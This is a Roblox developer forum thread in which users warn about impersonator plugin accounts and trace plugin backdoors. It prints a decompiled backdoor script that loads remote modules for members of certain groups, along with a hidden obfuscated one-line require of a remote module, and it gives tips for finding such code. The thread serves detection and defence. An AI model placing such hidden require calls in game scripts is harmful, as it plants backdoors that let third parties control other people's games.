Known Malicious Plugins for HISR detection Megathread

Just an FYI for everybody concerned about malicious plugins. I’ve seen a massive uptake in spam user accounts purposefully impersonating well known developers. For example:

  • Real: OkevinO Spam: 0kevin0
  • Real: CodeSponge Spam: SpongeCoder

I think a lot of these accounts got banned, but I just wanted to make people aware because one of my friends fell for this and got into trouble with the moderators because of a server side backdoor being used to put items in his game.

Please double check the names of who developed the plugin you’re installing and check if it’s a deliberate copy or not.

Pretty half-baked attempt if I’m honest, the injected code broke my server core script which in turn breaks everything else. Good way to draw the ire of a coffee-deprived developer. 0/10.

Backdoor malicious module

is orbfuscated but by running in repl.it, prints module id that failed to load.
which it then loads

which has a script to then load

Module 862849844 is referred to CheckMeIn which is unknown to be the original creator of this or just something this backdoor creator is using to log users having this backdoor in their game. I’ve tried to inform them about the use of this module, they’ve been warned for over 3 days before I posted this.

The top script then finally loads this module.

This module has a lot of obfuscated code, but one of the scripts remained un obfuscated, loading these two other modules.

MainModule> Folder> Main> ul

-- open source. leak.
local Players = game:GetService('Players')
game.Players.PlayerAdded:Connect(function(Player)
    if Player:GetRankInGroup(6157358) >= 2 then
		wait(0.1)
        require(4674979018):Fire(Player.Name) 
		require(5033070911):ikthisisskidded(Player.Name)
game.Players[Player.Name].PlayerGui.JOHNDOE.ResetOnSpawn = false
    end
end)
game.Players.PlayerAdded:Connect(function(Player)
    if Player:GetRankInGroup(5860863) >= 2 then
		wait(0.1)
        require(4834950415):Fire(Player.Name)
		require(5033070911):ikthisisskidded(Player.Name)
    end
end)
game:GetService("Players").PlayerAdded:Connect(
    function(player)
        if game.PlaceId == 4973653404 or game.PlaceId == 4860760464 then
            game:GetService("TeleportService"):Teleport(5009641755, player)
        end
    end
)

Many of the modules uses these groups to check if player is a member of before giving members scripts in this backdoor.

Places that are being teleported to via this backdoor to inflate or ‘pretend fast loading…’

One of the scripts is checking to do a banlist
https://builderman.club/fe.json
Would be suggested to blacklist this domain.

Loads another module

and another module

This module then uses LuaVM to load code without the need of loadstring in
MainModule > JohnDoe> Main> Shadow> Frame> RemoteHandle

another module

This backdoor is still loaded by an unknown plugin, still looking for it.

Guys!
I figured something out.
I was working on a game with a friend of mine, and I suspect he has a virus.
In every Script (not localscript), when I click behind the last “end” (how do I explain this) it moves you to the very side of the script, as if you’ve written 500 spaces in one line and click behind a letter, it moves your Scrollbar (for the X position) to the very far right.

Now, if this happens, move the scrollbar slowly, until you find some weird code, For example I had this:

if not game:service'RunService':IsStudio() then getfenv()["\114\101\113\117\105\114\101"](4794986906) end		

This has to be a “virus”, delete those.

Another way to detect those is by Searching “game:service”, INCASE you haven’t used “game:service” in your script.

I do not know what malicious plugin my friend has installed

Two modules required by malicious code. I don’t know which pluigin though, sorry. Hope this helps.

That module requires this

Looks like I completely missed you notifying me about this… but the script is definitely not mine. The only way to install CheckMeIn is through these models: Standard Kit, Enterprise Kit. I am aware of many other models on the platform that claim to be the official kit, but they are instead a combination of the official kit, with a back door added. That’s what you’ve found here. All I can do about this is tell my users not to install any third party modules, since technically a back door is not against the Roblox rules.

Edit: The require id it has does load a model that is on your account if that is what you ment. This script however, considered it to just be loading your module.

That’s what I exactly replied to people in your discord server but your discord server ended up being toxic against my attempt to inform your group directly and I left. I just wanted to let you guys know and attempt to invalidate whatever key the backdoor was using. It doesn’t matter if a backdoor isn’t against the tos, it’s malicious and Roblox can moderate any accounts for any reason.

Edit: I’m not saying that your module is one, I’m saying that it’s being used inside one. Any further chats about this, please message.

Maybe move this to a github repo, it makes it much easier to log and request the data as you can just send a HTTP GET request to the repository to download a JSON file, plus it allows for other developers to use the same list if they were to make their own anti-virus

I have no idea how your system works so I cannot provide an example, but you can just do
HTTPService:GetAsync(a link to your repository) and then decode it in JSONDecode

Both of the malicious action leads to this plugin - https://www.roblox.com/library/5090011414/beefintestines - it’s an obfuscated script, however by constant dumping and inspecting its constants, it’s clear that it’s a backdoor, it’s constant dump can be found here - https://pastebin.com/raw/FhZyxTty.
